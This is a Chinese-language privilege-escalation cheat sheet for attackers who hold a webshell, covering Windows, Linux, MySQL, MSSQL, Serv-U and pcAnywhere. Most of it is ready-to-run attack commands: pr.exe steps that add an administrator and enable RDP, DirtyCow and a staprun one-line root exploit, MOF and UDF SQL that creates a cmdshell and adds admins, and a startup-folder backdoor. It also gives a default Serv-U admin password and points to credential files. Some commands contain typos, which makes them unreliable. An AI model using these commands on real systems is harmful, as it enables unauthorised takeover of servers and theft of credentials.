简介
提权目的
有时,通过某些方式(例如上传Webshell)获取执行命令的shell,但是会因为权限限制而无法执行某些命令。此时为了“扩大战果”,需要利用提权,使得原本的低权限(如只允许列目录)提升为高权限(如拥有修改文件的能力)
系统漏洞提权
本地提权
种类
- 本地服务提权漏洞
- iis6、iis5(ms09-020)
- ftp(需要本身的ftp服务权限就很高,ftp,serv-u ftp,g6ftp等)
- smb(MS17-010) 在msf框架下成功率很好,可以正常放回cmdshell
- rpc(ms08-067)
- 系统内核提权漏洞
Windows
收集补丁信息1
systeminfo # 可重点查看系统所打补丁
不能执行命令原因
- 权限不够
cmd
等(/bin/bash
)被禁用
连接webshell,发现命令不能执行,考虑可能禁用了cmd
(或c:\windows\system32
无权限),上传cmd.exe
到web根目录,通过cmd.exe执行命令发现可以执行,考虑添加用户,开启3389
,进行远程登录
添加用户时发现权限不够,查看权限发现是network服务内核权限,不是管理员权限,考虑提权,根据系统版本,使用pr.exe
提权
执行添加用户,把用户添加到管理员组,开启3389服务
提权成功,登录
使用上传的cmd.exe打开虚拟终端
查看端口:1
netstat -ano
开启3389端口:1
2
3pr.exe "regedit /s 3389.reg"
# 或者:
pr.exe "3389.bat"
添加用户并加入administrators组1
2pr.exe "user test test /add"
pr.exe "net localgroup administrators test /add"
或者修改管理员密码1
pr.exe "net user administrator test"
cmd命令1
2net user /?
net group /?
Linux
判断系统版本1
2
3
4uname -a # 查看操作系统内核信息
cat /proc/version # 查看当前操作系统版本信息
cat /etc/issur # 查看你版本当前操作系统发行版信息
cat /etc/redhat-release
判断出内核版本之后,就去找exp(通常是脏牛),然后上传并编译执行
上传编译1
2gcc exp.c -o exp # 或者有需要加编译选项:例如脏牛漏洞的
gcc -pthread dirty.c -o dirty -lcrypt
tip
适用于linux系统、安卓系统、大多数嵌入式系统DirtyCow
(脏牛,条件竞争漏洞)
Cow(Copy On Write)
脏牛漏洞eg:
dirtyc0w.c1
2
3
4
5
6echo this is a test > foo
chmod 404 foo
cat foo
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w foo m00000000
cat foo
一句话提权
受影响版本:RedHat Centos debian linux<2.6.18-194
须在bash环境执行1
printf "install uprobes /bin/sh" > exploit.conf;MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever
数据库提权
###
原理:
- 具有mysql的root权限,且mysql以system权限运行
- 具有执行sql语句的权限,webshell或者外连均可
MOF提权
提权原理:
mof是windows系统的一个文件(在
c:/windows/system32/wbem/mof/nullevt.mof
)叫做“托管对象格式”,其作用是每隔五秒就回去监控进程创建和死亡。其利用了mysql的root权限以后,然后使用root权限去执行上传的mof。隔了一定时间后,这个mof就会被执行,此mof当中有一段是vbs脚本,大多数时候是cmd的添加管理员用户的命令
mof文件通过Mofcomp.exe编译执行
代码
1 |
|
利用方法
下列方法仅适用于windows系统
- 首先找个可写的目录,将MOF文件上传上去
- 执行以下sql语句,mof文件内的命令便会执行
1
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/webem/mof/nullevt.mof'
开机启动项提权
思路:
利用mysql,将后门写入开机自启动项。同时因为开机自启动,在写入之后,需要重启目标服务器(此操作至少是管理员权限)
利用方法
自启路径:1
2
3
4
5# 在此目录下写一个批处理文件(.bat)
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# 或者windows2003及xp路径
C:\Documents and Settings\Administrator\[开始]菜单\程序\启动\
写入文件eg:
hack.bat1
2net user test test /add
net localgroup Administrators test /add
UDF提权
UDF(User Defined Function)用户自定义函数,是mysql的一个拓展接口,是拓展其的技术手段
原理
- UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)
- 若要利用UDF,需要上传
udf.dll
作为UDF的执行库 - mysql中支持UDF扩展,使得可以调用DLL里面的函数来实现一些特殊的功能
流程概述
- 得到插件库路径
- 找对应操作系统的udf库文件
- 利用udf库文件加载函数并执行命令
注意事项
判断mysql版本
version < 5.1,UDF导出到系统目录:C:/windows/system32/udf.dll
version >= 5.1,UDF导出到:安装路径MySQL/Lib/Plugin/udf.dll
可以在mysql里输入:1
2
3# 查找mysql安装路径
select @@basedir
show variables like '%plugins%'
该目录默认不存在,需要使用Webshell找到mysql安装目录,并在安装目录下创建\lib\plugin
文件夹,然后将udf.dll文件导出到该目录
利用流程
导出DLL
1
2
3
4
5create table a (cmd LONGBLOB);
insert into a (cmd) values (hex(load_file('D:\\Program Files\\MySQL\\MySQL Server 5.0\\Lib\\Plugin\\lib_mysqludf_sys.dll')));
select unhex(cmd) from a into DUMPFILE 'c:\\windows\\system32\\udf.dll';
create function sys_eval returns string soname 'udf.dll';
select sys_eval('ipconfig');创建用户自定义函数
1
2
3
4
5create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell;
delect from mysql.func where name='cmdshell';利用
1
select cmdshell('cmd','ipconfig');
直接外连提权
MySQL开启对外连接,任意外网用户能够直接登陆,通过执行mysql语句进行提权
其原理就是udf提权,适用于windows和linux
MSSQL提权
利用sa用户
利用前提
所谓利用数据进行提权,即利用数据库的运行权限,因此需要满足以下条件:
- 必须获得
sa
的账号密码或者sa
相同权限的账号密码,且mssql没有被降权 - 必须可以以某种方式执行sql语句,如:webshell或者1433端口的连接
PS:能够通过配置文件找到系统的登录账户密码
提权思路
- MSSQL在Windows Server类操作系统上,默认具有system权限。system权限在windows server 2003中权限仅比管理员小,而在2003以上版本,则为最高权限
- 获取webshell之后可尝试在服务器各个站点目录寻找sa的密码(某些站点可直接在web应用程序中使用sa连接数据库),一般情况下,net的站点数据库连接字符串在
web.config
或者和global.aspx
也有可能是编译在DLL文件当中 - 通过端口扫描查看1433(mssql默认端口)是否对外开放。若对外开放则使用sql连接器进行提权;若没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库
sa
作为mssql默认最高权限的账户,在正常情况下,可通过xp cmdshell等方式执行系统命令
利用服务器的第三方组件提权
Pcanywhere
赛门铁克公司出品的一款可远程连接到服务器的远程桌面工具
原理
pcanywhere与windows自带的mstsc(远程桌面)不同之处在于,pcanywhere不适用windows操作系统的用户密码进行盐哼,而是使用自身建立的用户密码进行验证
如此,只要获得pcanywhere的登陆密码,即可获取服务器的远程桌面
密码文件存储位置:1
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\pcanywherepwd
Serv-U
Serv-U是使用Serv-u本地默认管理端口,以默认管理员登陆新建域和用户来执行命令
Serv-u > 3.x版本默认配置:
本地管理端口:43958
管理员:LocalAdministrator
密码:#|@$ak#.|k;0@P;
这是集成在Serv-u内部的,可以以Guest
权限来进行连接,对其进行管理
通过连接Serv-U然后执行操作系统命令的方式来添加具有管理权限的账户
现在的Webshell很多都会自带Serv-U提权功能,只需输入要执行的命令即可
补充
总结一些经验
拿到webshell
- win
whoami
判断权限,直接system就不用提权,jsp站直接system权限
systeminfo查看补丁信息和操作系统版本
上传exp,找可写目录
执行,若无法通过系统漏洞或系统服务漏洞提权,下一步翻目录
重点关注,config配置文件,比如数据库连接文件,pcanywhere的密码文件等等一些第三方软件的敏感文件
PS:一个服务器有aspx
,php
,jsp
,拿下来一个aspx的低权限shell,翻目录发现jsp网站的目录,向jsp目录传一个webshell,然后访问jspshell,可能会有最高去权限
- linux
whoami判断权限,如果直接root权限就无需提权,在weglogic
,tomcat
,jboss
等等一些jsp中间件出现比较多
查找系统版本uname -a
,cat /proc/version
等等
接着去 www.exploit-db.com 查找对应内核版本的exp,上传
上传之后gcc exp.c -o exp
若有需要需加编译参数,根据exp的注释说明来写。若服务器没有gcc,则在本地搭建一个同版本的系统,然后把exp在本地编译之后再上传
若exp无法提权,翻目录,linux敏感目录和文件有哪些(百度),比如:老版本linux的/etc/passwd
存储了密码和账号,数据库配置文件等等